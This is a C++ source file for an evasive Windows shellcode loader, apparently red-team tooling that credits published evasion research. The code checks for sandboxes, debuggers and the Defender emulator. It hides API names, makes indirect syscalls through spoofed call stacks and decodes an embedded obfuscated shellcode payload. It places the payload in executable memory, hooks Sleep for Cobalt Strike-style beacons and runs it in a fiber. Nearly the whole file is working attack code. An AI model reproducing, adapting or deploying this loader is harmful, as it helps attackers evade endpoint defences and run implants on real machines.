/*
* Credits
* 
* MDSec - Resolving System Service Numbers using the Exception Directory
* https://www.mdsec.co.uk/2022/04/resolving-system-service-numbers-using-the-exception-directory/
* 
* cpu0x00 - Ghost: Evasive shellcode loader
* https://github.com/cpu0x00/Ghost
* 
* susMdT - LoudSunRun: Stack Spoofing with Synthetic frames based on the work of namazso, SilentMoonWalk, and VulcanRaven
* https://github.com/susMdT/LoudSunRun
*
* HulkOperator - x64 Call Stack Spoofing
* https://hulkops.gitbook.io/blog/red-team/x64-call-stack-spoofing
* https://github.com/HulkOperator/CallStackSpoofer
* 
* Jan Vojtesek - Raspberry Robin's Roshtyak: A Little Lesson in Trickery
* https://decoded.avast.io/janvojtesek/raspberry-robins-roshtyak-a-little-lesson-in-trickery/
* 
* dadevel - Detecting Sandboxes Without Syscalls
* https://pentest.party/posts/2024/detecting-sandboxes-without-syscalls/
*/

#include <includes.h>

EXTERN_C DWORD dwSSN = 0;
EXTERN_C PVOID qwJMP = 0;
EXTERN_C PVOID CallR12(PVOID Function, ULONGLONG nArgs, PVOID r12_gadget, ...);
NTAPI_FUNCTION CallMe();

PBYTE hNtdll = FindModuleBase("ntdll.dll");
PBYTE hKernel32 = FindModuleBase("KERNEL32.DLL");
BYTE callR12sig[] = { 0x41, 0xFF, 0xD4 };
std::vector<PVOID> callR12gadgets = CollectGadgets(callR12sig, sizeof(callR12sig), hNtdll);
PVOID gadget = nullptr;
NTSTATUS status = STATUS_UNSUCCESSFUL;

CHAR NtCE[] = "ZwCreateEvent";
CHAR NtWFSO[] = "ZwWaitForSingleObject";
SyscallEntry NtCreateEvent = SSNLookup(NtCE);
SyscallEntry sysNtWaitForSingleObject = SSNLookup(NtWFSO); // NtWaitForSingleObject is predefined in winternl.h

LPVOID mainFiber = nullptr;
LPVOID shellcodeFiber = nullptr;

// Function to deobfuscate ASCII-encoded strings
std::unique_ptr<char[]> unASCIIme(const int* asciiValues, size_t length) {
	auto decoded = std::make_unique<char[]>(length + 1);

	for (size_t i = 0; i < length; ++i)
		decoded[i] = static_cast<char>(asciiValues[i]);

	decoded[length] = '\0'; // Null-terminate the string
	return decoded;
}

VOID RunMe() {
	const PKUSER_SHARED_DATA ksd = (PKUSER_SHARED_DATA)KUSER_SHARED_DATA_ADDRESS;
	
	// Check if Secure Boot is enabled
	if (!ksd->DbgSecureBootEnabled) __fastfail(0xc00000022); // Exit process if Secure Boot is disabled

	// Check for number of processors
	if (ksd->ActiveProcessorCount <= 4) __fastfail(0xc00000022); // Exit process if 4 or less active processors

	constexpr uint32_t TICKS_PER_SECOND = 10'000'000;
	LARGE_INTEGER time1;
	time1.LowPart = ksd->InterruptTime.LowPart;
	time1.HighPart = ksd->InterruptTime.High2Time;
	//if ((time1.QuadPart / TICKS_PER_SECOND / 60 / 60) < 1) __fastfail(0xc00000022); // Exit process if uptime is less than 1 hour
	
	//if (ksd->BootId < 100) __fastfail(0xc00000022); // Exit process if boot count is less than 100

	// Check for KdDebuggerEnabled
	if (ksd->KdDebuggerEnabled) __fastfail(0xc00000022); // Exit process if true

	// Simple check for VDLLs / Defender emulator
	if (GetProcAddress((HMODULE)hNtdll, "MpVmp32Entry")) __fastfail(0xc00000022); // Exit process if VDLL import is successful

	// Another check for debugger
	const int aZwQIP[] = { 90, 119, 81, 117, 101, 114, 121, 73, 110, 102, 111, 114, 109, 97, 116, 105, 111, 110, 80, 114, 111, 99, 101, 115, 115 };
	std::unique_ptr<char[]> ZwQIP = unASCIIme(aZwQIP, (sizeof(aZwQIP) / sizeof(aZwQIP[0])));
	const PCHAR NtQIP = ZwQIP.get();

	SyscallEntry NtQueryInformationProcess = SSNLookup(NtQIP);
	dwSSN = NtQueryInformationProcess.SSN;
	qwJMP = NtQueryInformationProcess.Syscall;
	gadget = GoGoGadget(callR12gadgets);

	PVOID debugFlags = nullptr;
	if (NT_SUCCESS((NTSTATUS)CallR12(
		(PVOID)CallMe,
		4,
		gadget,
		NtCurrentProcess(),
		(PROCESSINFOCLASS)31, // ProcessDebugFlags
		&debugFlags,
		sizeof(debugFlags),
		NULL
	)) && debugFlags) __fastfail(0xC0000409); // Exit process if debugger is detected
	
	// Shellcode deobfuscation and preparation
	
	PVOID cHzWuUOLpKshEZso = EncodePointer((PVOID)0x4831c94881e9d4ff);
	PVOID qzmcczftlrofpMBK = EncodePointer((PVOID)0xffff488d05efffff);
	PVOID BnFPxxUTdHzXfBou = EncodePointer((PVOID)0xff48bb44f6a40b5f);
	PVOID XXNMyWIolkZnxquw = EncodePointer((PVOID)0x895d7f4831582748);
	PVOID MaFIrEQDZFRfWRTY = EncodePointer((PVOID)0x2df8ffffffe2f4b8);
	PVOID RdUZgSEaEksHKBzw = EncodePointer((PVOID)0xbe27efaf619d7f44);
	PVOID BqaqZEeAEPNHxCHA = EncodePointer((PVOID)0xf6e55a1ed90f2e12);
	PVOID pEfFdhEqFdQpoqch = EncodePointer((PVOID)0xbe95d93ac1d62d24);
	PVOID WOLbfAoYkcEkuDYg = EncodePointer((PVOID)0xbe2f5947c1d62d64);
	PVOID uwiZKXhkheFneKTM = EncodePointer((PVOID)0xbe2f790fc152c80e);
	PVOID FMlGRbqbLHPhGOeo = EncodePointer((PVOID)0xbce93a96c16cbfe8);
	PVOID yXPdbUEcVExPHxIj = EncodePointer((PVOID)0xcac5775da57d3e85);
	PVOID MZGgjmoAILVGCTyd = EncodePointer((PVOID)0x3fa94a5e48bf9216);
	PVOID GurEATzzcVZVIzYS = EncodePointer((PVOID)0xb7f543d4db7df406);
	PVOID hNplZltYVPpESpst = EncodePointer((PVOID)0xcaec0a8f02ddf744);
	PVOID xCgWVknCyvRsVUHZ = EncodePointer((PVOID)0xf6a443da4929180c);
	PVOID umughcydaJUtAhrt = EncodePointer((PVOID)0xf7745bd4c1453bcf);
	PVOID RqCqvWaIneDObANK = EncodePointer((PVOID)0xb684425e59be290c);
	PVOID axOWFjDeHhmDuStA = EncodePointer((PVOID)0x096d4ad4bdd53745);
	PVOID PzyVUWkmkIQWwsAh = EncodePointer((PVOID)0x20e93a96c16cbfe8);
	PVOID UKaEuxbaMHcFVHRE = EncodePointer((PVOID)0xb765c252c85cbe7c);
	PVOID GPBJMzmxizdGDxbs = EncodePointer((PVOID)0x16d1fa138a115b4c);
	PVOID aEUbBqlVLqLgCpmm = EncodePointer((PVOID)0xb39dda2a51053bcf);
	PVOID HKzolWqSFHEaxocQ = EncodePointer((PVOID)0xb680425e593b3ecf);
	PVOID rGrpgUSTDCGnRSxX = EncodePointer((PVOID)0xfaec4fd4c9413645);
	PVOID UkiKuEWPihQsBZed = EncodePointer((PVOID)0x26e5805b01157e94);
	PVOID UtRdjVdGKiLgoqiz = EncodePointer((PVOID)0xb7fc4a07d7042505);
	PVOID jmRaVonpGRiCdgiL = EncodePointer((PVOID)0xaee5521ed315fca8);
	PVOID pTGvgohiOFOLvctP = EncodePointer((PVOID)0xd6e559a069053e1d);
	PVOID jjMvRmnTSOFJsHUQ = EncodePointer((PVOID)0xacec804d600a80bb);
	PVOID ecThXoPqvgeoPdTY = EncodePointer((PVOID)0x09f943e5885d7f44);
	PVOID KqVeBhXZWhqorIlQ = EncodePointer((PVOID)0xf6a40b5fc1d0f245);
	PVOID rUrHyjHgczZsKdEw = EncodePointer((PVOID)0xf7a40b1e336cf42b);
	PVOID BHscujBmZqkyPcao = EncodePointer((PVOID)0x715bdee479e8dd12);
	PVOID nbtyRzIjuCLOzHPX = EncodePointer((PVOID)0xb71eadca34c08091);
	PVOID oaAwYlpVCipgbUeo = EncodePointer((PVOID)0xbe27cf77b55b034e);
	PVOID RfLfmiVPuCbBjmaj = EncodePointer((PVOID)0x765feb2a8ce63857);
	PVOID eFSJSYqBtDEtyjXg = EncodePointer((PVOID)0x84cb615fd01cf69e);
	PVOID beyiUDTcLMuJgbDM = EncodePointer((PVOID)0x09716e27f9311036);
	PVOID yaLBwyEBzokIYAHF = EncodePointer((PVOID)0x93d6253af1385f66);
	PVOID qowPmWxYQjBdZNYP = EncodePointer((PVOID)0x9ed07f2ffa67506b);
	PVOID GNvPOEZbSgXPdGal = EncodePointer((PVOID)0x9fc5326fbd6b4f7d);
	PVOID bzxbcOVbSveYzfeO = EncodePointer((PVOID)0xd8d17871e82f1c2c);
	PVOID LcYaLRXtmsZogKlT = EncodePointer((PVOID)0x9fd26e71e62f186b);
	PVOID gIKApmGFAWwPmQgq = EncodePointer((PVOID)0xc28b622bec300c6b);
	PVOID XQGRystfEcTjlPuc = EncodePointer((PVOID)0x84cd6834a42f1028);
	PVOID mQGOcpeQBbPvvUfc = EncodePointer((PVOID)0x9a8b5936ea365a76);
	PVOID EEezIaJMrCWOAPsU = EncodePointer((PVOID)0xc6f66433e5731625);
	PVOID QRiWTvDaBIzcspUq = EncodePointer((PVOID)0xd8c97b6bab5d7f90);

	std::vector<PVOID> encodedSegments = {
		cHzWuUOLpKshEZso, qzmcczftlrofpMBK, BnFPxxUTdHzXfBou, XXNMyWIolkZnxquw, MaFIrEQDZFRfWRTY, RdUZgSEaEksHKBzw, BqaqZEeAEPNHxCHA, pEfFdhEqFdQpoqch, WOLbfAoYkcEkuDYg, uwiZKXhkheFneKTM, FMlGRbqbLHPhGOeo, yXPdbUEcVExPHxIj, MZGgjmoAILVGCTyd, GurEATzzcVZVIzYS, hNplZltYVPpESpst, xCgWVknCyvRsVUHZ, umughcydaJUtAhrt, RqCqvWaIneDObANK, axOWFjDeHhmDuStA, PzyVUWkmkIQWwsAh, UKaEuxbaMHcFVHRE, GPBJMzmxizdGDxbs, aEUbBqlVLqLgCpmm, HKzolWqSFHEaxocQ, rGrpgUSTDCGnRSxX, UkiKuEWPihQsBZed, UtRdjVdGKiLgoqiz, jmRaVonpGRiCdgiL, pTGvgohiOFOLvctP, jjMvRmnTSOFJsHUQ, ecThXoPqvgeoPdTY, KqVeBhXZWhqorIlQ, rUrHyjHgczZsKdEw, BHscujBmZqkyPcao, nbtyRzIjuCLOzHPX, oaAwYlpVCipgbUeo, RfLfmiVPuCbBjmaj, eFSJSYqBtDEtyjXg, beyiUDTcLMuJgbDM, yaLBwyEBzokIYAHF, qowPmWxYQjBdZNYP, GNvPOEZbSgXPdGal, bzxbcOVbSveYzfeO, LcYaLRXtmsZogKlT, gIKApmGFAWwPmQgq, XQGRystfEcTjlPuc, mQGOcpeQBbPvvUfc, EEezIaJMrCWOAPsU, QRiWTvDaBIzcspUq,
	};

	/*
	PVOID krIEKgMUckshcyth = EncodePointer((PVOID)0x4831c94881e98cff);
	PVOID QWkajnALnvaRsXCA = EncodePointer((PVOID)0xffff488d05efffff);
	PVOID CeYoXADihJDoHkcl = EncodePointer((PVOID)0xff48bbaee21ec0b3);
	PVOID nfjTEYcZQXkZiWvq = EncodePointer((PVOID)0x25756d4831582748);
	PVOID tGBPOHuvKLwWbBtJ = EncodePointer((PVOID)0x2df8ffffffe2f452);
	PVOID HQqVSTVgjAGxTLla = EncodePointer((PVOID)0xaa9d2443cdbd6dae);
	PVOID IyJIcAzzdurFOXMr = EncodePointer((PVOID)0xe25f91f275273cf8);
	PVOID EomlYIUvHVPzVCPq = EncodePointer((PVOID)0xaa2f12d66dfe3fce);
	PVOID MhLnnvUpqwnGeCQO = EncodePointer((PVOID)0xaa9592ab6dfe3f8e);
	PVOID lAVufBEVDLjdqjSN = EncodePointer((PVOID)0xaa95b2e36d7adae4);
	PVOID lyIsmmKQJJFMxyIP = EncodePointer((PVOID)0xa853f17a6d44ad02);
	PVOID wCmtzFFisgJoeFTu = EncodePointer((PVOID)0xde7fbcb109552c6f);
	PVOID uBQaheNuCEJPdxkE = EncodePointer((PVOID)0x2b1381b2e49780fc);
	PVOID yrAqmLdqjkZBZUXE = EncodePointer((PVOID)0xa34f88387755e6ec);
	PVOID xCvJXFXIYPisMYMl = EncodePointer((PVOID)0xde56c16343f415b6);
	PVOID LMyfWsonixmJCjKt = EncodePointer((PVOID)0xe91cb5c1aef5e5ae);
	PVOID umAuguFVUxEEpqcK = EncodePointer((PVOID)0xe21e8836e5010ae6);
	PVOID aiIvegbEKgBAvdpR = EncodePointer((PVOID)0xe3ce90386d6d2925);
	PVOID ZItbRCkHKHFHckqE = EncodePointer((PVOID)0xa23e89b2f5963be6);
	PVOID ZUJPGKeSgjpvZvpg = EncodePointer((PVOID)0x1dd7813811fd25af);
	PVOID MDrHafAiCgwASRzu = EncodePointer((PVOID)0x3453f17a6d44ad02);
	PVOID CFlaqnulvNhVlsuQ = EncodePointer((PVOID)0xa3df09be6474ac96);
	PVOID dildBNSkNXDncZir = EncodePointer((PVOID)0x026b31ff263949a6);
	PVOID UlXnockwSnbogPmD = EncodePointer((PVOID)0xa72711c6fd2d2925);
	PVOID JVPKCMOVrbhTPhfT = EncodePointer((PVOID)0xa23a89b2f5132c25);
	PVOID onyrPdbCvnfjhTNU = EncodePointer((PVOID)0xee568438656924af);
	PVOID kFTLVfxydGdjJEbU = EncodePointer((PVOID)0x325f4bb7ad3d6c7e);
	PVOID PHVVjcHnnMIZKTxt = EncodePointer((PVOID)0xa34681eb7b2c37ef);
	PVOID BABOMVJKASBILOkV = EncodePointer((PVOID)0xba5f99f27f3dee42);
	PVOID dEDiMsmKQdoHMiWr = EncodePointer((PVOID)0xc25f924cc52d2cf7);
	PVOID EJOAmoTqhdxPYXLc = EncodePointer((PVOID)0xb8564ba1cc3a9251);
	PVOID psgWEvdDRudqaGGs = EncodePointer((PVOID)0x1d43aab36ccb1ac7);
	PVOID ZoEnKeyVrVRkPuTk = EncodePointer((PVOID)0x8c77aed651752cf8);
	PVOID iTcyNhLMShqPlLZs = EncodePointer((PVOID)0xab9726ffac842c14);
	PVOID qoJiHAESeTpwXDSd = EncodePointer((PVOID)0xae69e6b4daa0259f);
	PVOID aOJgXyvKxIvgoBgJ = EncodePointer((PVOID)0x2b56f1616844ade3);
	PVOID xfrAixNWrcXrheuk = EncodePointer((PVOID)0xd3d781e364252c14);
	PVOID aJIVbhbZxcbrhypR = EncodePointer((PVOID)0xd848b914daa0843d);
	PVOID VwYJJeTakOnoCMPt = EncodePointer((PVOID)0xe21ec0e96dfcacef);
	PVOID rlUuwMIqANbovtbA = EncodePointer((PVOID)0x5aa5c1b325385c67);
	PVOID jDFVdQIPDyUVhMBE = EncodePointer((PVOID)0xa34f81e24f762cff);
	PVOID knDHyhHBZVbSkLTv = EncodePointer((PVOID)0xa3a4973abab3927b);
	PVOID LUMvamZSJwELMLoQ = EncodePointer((PVOID)0x09679bfbacb4259f);
	PVOID bTwcgbZbeAxmTAYZ = EncodePointer((PVOID)0x3057496b6844a4fc);
	PVOID jTbpRPdGmOjyvWon = EncodePointer((PVOID)0x8a1ef273a1273fef);
	PVOID SmsRxxsOPSnuEhDy = EncodePointer((PVOID)0x58f5959d1e8ab8e6);
	PVOID YCyjFvpSdYSlBJyj = EncodePointer((PVOID)0x6bd88830e62507a4);
	PVOID GntpyNoBQXpbosRA = EncodePointer((PVOID)0xbd5649429f6a6dae);
	PVOID EiHSXDEEmVtPIvPs = EncodePointer((PVOID)0xe274c0dba5466dae);
	PVOID XIbJRyCtStexapEh = EncodePointer((PVOID)0xab9720f29c716dae);
	PVOID oSmfRVGkIijIMsTK = EncodePointer((PVOID)0xe25f7ac663ebeb51);
	PVOID PcRTPakTcHrHFxmH = EncodePointer((PVOID)0x375649426dfcb7e7);
	PVOID YtjjHzbzkpqYCbGz = EncodePointer((PVOID)0x25de3f4cda8a209f);
	PVOID HfLVqFQwkOEsWtbl = EncodePointer((PVOID)0x2b4c92f29f586bb6);
	PVOID LOejixJWRypNFlbg = EncodePointer((PVOID)0x99e11536e57ae833);
	PVOID DyOkeoKaoYMZCVlG = EncodePointer((PVOID)0xe31ec0fbdaba622a);
	PVOID xTDWSjXynEghzrHl = EncodePointer((PVOID)0x6e1fc0b3cec6844a);
	PVOID wokRsoosPSrXRxoX = EncodePointer((PVOID)0xe31ec05ba78a9251);
	PVOID IfskwrDHMOCaJVlY = EncodePointer((PVOID)0xcd4ca6ff7c758ad8);
	PVOID HwRLpNYHwsFUeyDw = EncodePointer((PVOID)0x7521a081518bc619);
	PVOID lmGqmZrvlGUOrRKB = EncodePointer((PVOID)0x2edf62efea476fe0);
	PVOID kjhzgnhkazaLpOaf = EncodePointer((PVOID)0xdf2fd4284b064e57);
	PVOID SFBoFCsOqDApIthi = EncodePointer((PVOID)0x83134b9403cf3cb4);
	PVOID GUurAqySyQdiTqVg = EncodePointer((PVOID)0xeb56c407abc7e138);
	PVOID SEoErayORsYSBPsa = EncodePointer((PVOID)0xc89c92eed7e9fa29);
	PVOID HEGkFPbqTTzchkZt = EncodePointer((PVOID)0xb5871f8351984a22);
	PVOID xGrHkQQPiNGkFFVJ = EncodePointer((PVOID)0x902ddd7af17ae948);
	PVOID OvbCdXvSdFRrnfCI = EncodePointer((PVOID)0xd143b2341fccb4ae);
	PVOID tgHtuLOhwbmqHRjB = EncodePointer((PVOID)0xb76da5c108340acb);
	PVOID memKxcpTMMzDpryc = EncodePointer((PVOID)0x8c6afa93681a17c7);
	PVOID aoyQmYeyjLSnrSrx = EncodePointer((PVOID)0x8e72a19c105b5d8e);
	PVOID YgnEoeUlhddvVQTm = EncodePointer((PVOID)0xca7dafde551419c7);
	PVOID whjkzDKpJpQCVCBs = EncodePointer((PVOID)0x8072a58805383ee7);
	PVOID LefRaQEduzEOJwVe = EncodePointer((PVOID)0xa73ef99d154e4df9);
	PVOID YrYCQrExJKWDsNpf = EncodePointer((PVOID)0x8b70a4dc52064de0);
	PVOID oqRFDusrpLSbPphX = EncodePointer((PVOID)0xb63ef69d144e4df9);
	PVOID yvfaBpFPYFzSyQAe = EncodePointer((PVOID)0x8b70f6871e551598);
	PVOID TPPCEEWVmOPBVMhc = EncodePointer((PVOID)0xd625e0e7571c09cb);
	PVOID QtiImdJSPmAbIdYe = EncodePointer((PVOID)0x8c6aef860b45568e);
	PVOID eLCBuECVLmRGqvfu = EncodePointer((PVOID)0xa368a1dd51552fdc);
	PVOID RkiXjfwMXsmrknjO = EncodePointer((PVOID)0x8d69b3d6575c60a4);
	PVOID UlGnizOxTJCwMmHI = EncodePointer((PVOID)0xe2707c0a347d598e);
	PVOID qZExSoKoNEXvtTlz = EncodePointer((PVOID)0xbeaab191b6de0212);
	PVOID RbFVCMekFTdhQOha = EncodePointer((PVOID)0x30b96d74f6651de0);
	PVOID HiwzwEzvuPqarpwk = EncodePointer((PVOID)0x776556e29d8d81b6);
	PVOID ybwPLsWnYaOtxkMT = EncodePointer((PVOID)0x32f60c2b1f47267f);
	PVOID AJbMNddZoUCBKwLI = EncodePointer((PVOID)0xbc792f1d2a480cf2);
	PVOID VbUhsxlgakUxfFWj = EncodePointer((PVOID)0x3edf495404d6ad6c);
	PVOID SCuTpiPFsyydpUcV = EncodePointer((PVOID)0x7d933955b10bda58);
	PVOID zUTCMPUlfduLGXPU = EncodePointer((PVOID)0x584850a84deaf6fe);
	PVOID DylxQsmDjSozMMxM = EncodePointer((PVOID)0x4f0a857c24deb36d);
	PVOID NVkQklrWstmsSAiw = EncodePointer((PVOID)0x7313a0ca27324d49);
	PVOID HNmhsNxSvLjRpqAc = EncodePointer((PVOID)0x83f587278170bb40);
	PVOID zSLuOBvdZBzznIvK = EncodePointer((PVOID)0x96143eccabbbf0ee);
	PVOID VxVycFciJqqThtEu = EncodePointer((PVOID)0xc647054aa7f03fa8);
	PVOID dgjMvpNGeaxEuRxr = EncodePointer((PVOID)0x121dbb3150ca4c8d);
	PVOID ENcMqFMOSzmJTbUU = EncodePointer((PVOID)0xc3d5583a9a1aee3e);
	PVOID KKuLFnbeRMMOkedy = EncodePointer((PVOID)0xd1f42710416e2b4f);
	PVOID ZgMMdogCmHDUUukz = EncodePointer((PVOID)0xfe2e32ac67fe2c6c);
	PVOID CxdwxNOEssmeUHfm = EncodePointer((PVOID)0x07a66d36cc8463af);
	PVOID FfyoAvOYVUSKVAzD = EncodePointer((PVOID)0x816204c9cf608d7d);
	PVOID ZCPMUWeDAdXigRtD = EncodePointer((PVOID)0xdf0c7c48750401fa);
	PVOID GcpTiltvPYfYLByL = EncodePointer((PVOID)0x6440564f52f14b61);
	PVOID hkIaGKIPEsfchJii = EncodePointer((PVOID)0xf7c6dd4713cb25f8);
	PVOID JtXCgcjawgmfmmYz = EncodePointer((PVOID)0x4396e7c465f38001);
	PVOID EaPhWisXFOXALwvu = EncodePointer((PVOID)0x5ab46fb99b11b6ae);
	PVOID ceOPQDcrBgRHbKhs = EncodePointer((PVOID)0xa3a030068723927b);
	PVOID rtvYLBjAHBxWFnEe = EncodePointer((PVOID)0xaa2f090925752dae);
	PVOID paTgHCLbLPZOMFnG = EncodePointer((PVOID)0xa3a6c0a325752c17);
	PVOID pwBDbhXREYBnCIIW = EncodePointer((PVOID)0xa21ec0b364cf350a);
	PVOID ldWBkSthBfKmzZxE = EncodePointer((PVOID)0xb1fb3f666de63efd);
	PVOID EBhgqEDeboRHaFvr = EncodePointer((PVOID)0xaa9727fbac842527);
	PVOID qmMwJdHAeiMmEiyq = EncodePointer((PVOID)0x385f78b305756de7);
	PVOID KRzXAMZWRINZuHsb = EncodePointer((PVOID)0x6be7810937e3e44c);
	PVOID GikexHLZKjRWaytn = EncodePointer((PVOID)0x1dcb8830e155e86e);
	PVOID JINcqvcBwtxUNHDs = EncodePointer((PVOID)0x96a8a638223d6c6d);
	PVOID XQbBOLueHittAYfr = EncodePointer((PVOID)0x67deb5647d2d35e6);
	PVOID lJOjAuLhQrnAueya = EncodePointer((PVOID)0xe71ec0b32525ae46);
	PVOID qvhawvNPscjIIsvz = EncodePointer((PVOID)0x9de33f4c1445439a);
	PVOID QKhlMrDkiQesodAU = EncodePointer((PVOID)0xd030f4810b406d94);
	PVOID cCqPJkKulaeTiDQi = EncodePointer((PVOID)0x3c7671b325756d90);

	std::vector<PVOID> encodedSegments = {
		krIEKgMUckshcyth, QWkajnALnvaRsXCA, CeYoXADihJDoHkcl, nfjTEYcZQXkZiWvq, tGBPOHuvKLwWbBtJ, HQqVSTVgjAGxTLla, IyJIcAzzdurFOXMr, EomlYIUvHVPzVCPq, MhLnnvUpqwnGeCQO, lAVufBEVDLjdqjSN, lyIsmmKQJJFMxyIP, wCmtzFFisgJoeFTu, uBQaheNuCEJPdxkE, yrAqmLdqjkZBZUXE, xCvJXFXIYPisMYMl, LMyfWsonixmJCjKt, umAuguFVUxEEpqcK, aiIvegbEKgBAvdpR, ZItbRCkHKHFHckqE, ZUJPGKeSgjpvZvpg, MDrHafAiCgwASRzu, CFlaqnulvNhVlsuQ, dildBNSkNXDncZir, UlXnockwSnbogPmD, JVPKCMOVrbhTPhfT, onyrPdbCvnfjhTNU, kFTLVfxydGdjJEbU, PHVVjcHnnMIZKTxt, BABOMVJKASBILOkV, dEDiMsmKQdoHMiWr, EJOAmoTqhdxPYXLc, psgWEvdDRudqaGGs, ZoEnKeyVrVRkPuTk, iTcyNhLMShqPlLZs, qoJiHAESeTpwXDSd, aOJgXyvKxIvgoBgJ, xfrAixNWrcXrheuk, aJIVbhbZxcbrhypR, VwYJJeTakOnoCMPt, rlUuwMIqANbovtbA, jDFVdQIPDyUVhMBE, knDHyhHBZVbSkLTv, LUMvamZSJwELMLoQ, bTwcgbZbeAxmTAYZ, jTbpRPdGmOjyvWon, SmsRxxsOPSnuEhDy, YCyjFvpSdYSlBJyj, GntpyNoBQXpbosRA, EiHSXDEEmVtPIvPs, XIbJRyCtStexapEh, oSmfRVGkIijIMsTK, PcRTPakTcHrHFxmH, YtjjHzbzkpqYCbGz, HfLVqFQwkOEsWtbl, LOejixJWRypNFlbg, DyOkeoKaoYMZCVlG, xTDWSjXynEghzrHl, wokRsoosPSrXRxoX, IfskwrDHMOCaJVlY, HwRLpNYHwsFUeyDw, lmGqmZrvlGUOrRKB, kjhzgnhkazaLpOaf, SFBoFCsOqDApIthi, GUurAqySyQdiTqVg, SEoErayORsYSBPsa, HEGkFPbqTTzchkZt, xGrHkQQPiNGkFFVJ, OvbCdXvSdFRrnfCI, tgHtuLOhwbmqHRjB, memKxcpTMMzDpryc, aoyQmYeyjLSnrSrx, YgnEoeUlhddvVQTm, whjkzDKpJpQCVCBs, LefRaQEduzEOJwVe, YrYCQrExJKWDsNpf, oqRFDusrpLSbPphX, yvfaBpFPYFzSyQAe, TPPCEEWVmOPBVMhc, QtiImdJSPmAbIdYe, eLCBuECVLmRGqvfu, RkiXjfwMXsmrknjO, UlGnizOxTJCwMmHI, qZExSoKoNEXvtTlz, RbFVCMekFTdhQOha, HiwzwEzvuPqarpwk, ybwPLsWnYaOtxkMT, AJbMNddZoUCBKwLI, VbUhsxlgakUxfFWj, SCuTpiPFsyydpUcV, zUTCMPUlfduLGXPU, DylxQsmDjSozMMxM, NVkQklrWstmsSAiw, HNmhsNxSvLjRpqAc, zSLuOBvdZBzznIvK, VxVycFciJqqThtEu, dgjMvpNGeaxEuRxr, ENcMqFMOSzmJTbUU, KKuLFnbeRMMOkedy, ZgMMdogCmHDUUukz, CxdwxNOEssmeUHfm, FfyoAvOYVUSKVAzD, ZCPMUWeDAdXigRtD, GcpTiltvPYfYLByL, hkIaGKIPEsfchJii, JtXCgcjawgmfmmYz, EaPhWisXFOXALwvu, ceOPQDcrBgRHbKhs, rtvYLBjAHBxWFnEe, paTgHCLbLPZOMFnG, pwBDbhXREYBnCIIW, ldWBkSthBfKmzZxE, EBhgqEDeboRHaFvr, qmMwJdHAeiMmEiyq, KRzXAMZWRINZuHsb, GikexHLZKjRWaytn, JINcqvcBwtxUNHDs, XQbBOLueHittAYfr, lJOjAuLhQrnAueya, qvhawvNPscjIIsvz, QKhlMrDkiQesodAU, cCqPJkKulaeTiDQi,
	};
	*/

	// Predefine expected shellcode size and pre-allocate space
	alignas(8) std::vector<UCHAR> shellcode;
	//shellcode.reserve(968);
	shellcode.reserve(392);

	// Decode and reconstruct each segment
	for (auto encodedSegment : encodedSegments) {
		UINT_PTR decodedSegment = reinterpret_cast<UINT_PTR>(DecodePointer(encodedSegment));

		// Extract each byte and place it in the shellcode buffer
		shellcode.push_back((decodedSegment >> 56) & 0xFF);
		shellcode.push_back((decodedSegment >> 48) & 0xFF);
		shellcode.push_back((decodedSegment >> 40) & 0xFF);
		shellcode.push_back((decodedSegment >> 32) & 0xFF);
		shellcode.push_back((decodedSegment >> 24) & 0xFF);
		shellcode.push_back((decodedSegment >> 16) & 0xFF);
		shellcode.push_back((decodedSegment >> 8) & 0xFF);
		shellcode.push_back(decodedSegment & 0xFF);
	}

	const int aZwAVM[] = { 90, 119, 65, 108, 108, 111, 99, 97, 116, 101, 86, 105, 114, 116, 117, 97, 108, 77, 101, 109, 111, 114, 121 }; // ZwAllocateVirtualMemory
	std::unique_ptr<char[]> ZwAVM = unASCIIme(aZwAVM, (sizeof(aZwAVM) / sizeof(aZwAVM[0])));
	const PCHAR NtAVM = ZwAVM.get();

	SyscallEntry NtAllocateVirtualMemory = SSNLookup(NtAVM);
	dwSSN = NtAllocateVirtualMemory.SSN;
	qwJMP = NtAllocateVirtualMemory.Syscall;
	gadget = GoGoGadget(callR12gadgets);

	PVOID baseAddress = nullptr;
	SIZE_T regionSize = shellcode.size();
	status = (NTSTATUS)CallR12(
		(PVOID)CallMe,
		6,
		gadget,
		NtCurrentProcess(),
		&baseAddress,
		(ULONGLONG)0,
		&regionSize,
		(ULONGLONG)(MEM_COMMIT | MEM_RESERVE),
		(ULONGLONG)(PAGE_EXECUTE_READWRITE)
	);

	const int aZwWVM[] = { 90, 119, 87, 114, 105, 116, 101, 86, 105, 114, 116, 117, 97, 108, 77, 101, 109, 111, 114, 121 }; // ZwWriteVirtualMemory
	std::unique_ptr<char[]> ZwWVM = unASCIIme(aZwWVM, (sizeof(aZwWVM) / sizeof(aZwWVM[0])));
	const PCHAR NtWVM = ZwWVM.get();

	SyscallEntry NtWriteVirtualMemory = SSNLookup(NtWVM);
	dwSSN = NtWriteVirtualMemory.SSN;
	qwJMP = NtWriteVirtualMemory.Syscall;
	gadget = GoGoGadget(callR12gadgets);

	SIZE_T bytesWritten = 0;
	status = (NTSTATUS)CallR12(
		(PVOID)CallMe,
		5,
		gadget,
		NtCurrentProcess(),
		baseAddress,
		shellcode.data(),
		(ULONGLONG)shellcode.size(),
		&bytesWritten
	);

	// Create a callable "function" from the allocated space
	void (*shellcodeFunc)() = (void(*)())baseAddress;
	
	// Hook Sleep and SleepEx for CS beacons
	ReSleep();

	gadget = GoGoGadget(callR12gadgets);
	mainFiber = (LPVOID)CallR12((PVOID)ConvertThreadToFiber, 1, gadget, nullptr);

	gadget = GoGoGadget(callR12gadgets);
	shellcodeFiber = (LPVOID)CallR12((PVOID)CreateFiber, 3, gadget, NULL, (LPFIBER_START_ROUTINE)shellcodeFunc, NULL);

	while (true) {
		gadget = GoGoGadget(callR12gadgets);
		CallR12((PVOID)SwitchToFiber, 1, gadget, shellcodeFiber);
	}
}

INT WINAPI CALLBACK WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd) {
	if (FiveHourEnergy()) __fastfail(0x31337);
	RunMe();
	return 0;
}

/*
int main() {
	BYTE sig[] = { 0xff, 0x27 };
	std::vector<PVOID> gadgets = CollectGadgets(sig, 2, hNtdll);
	CheckGadgetPreBytes(gadgets, 2, 8);
}
*/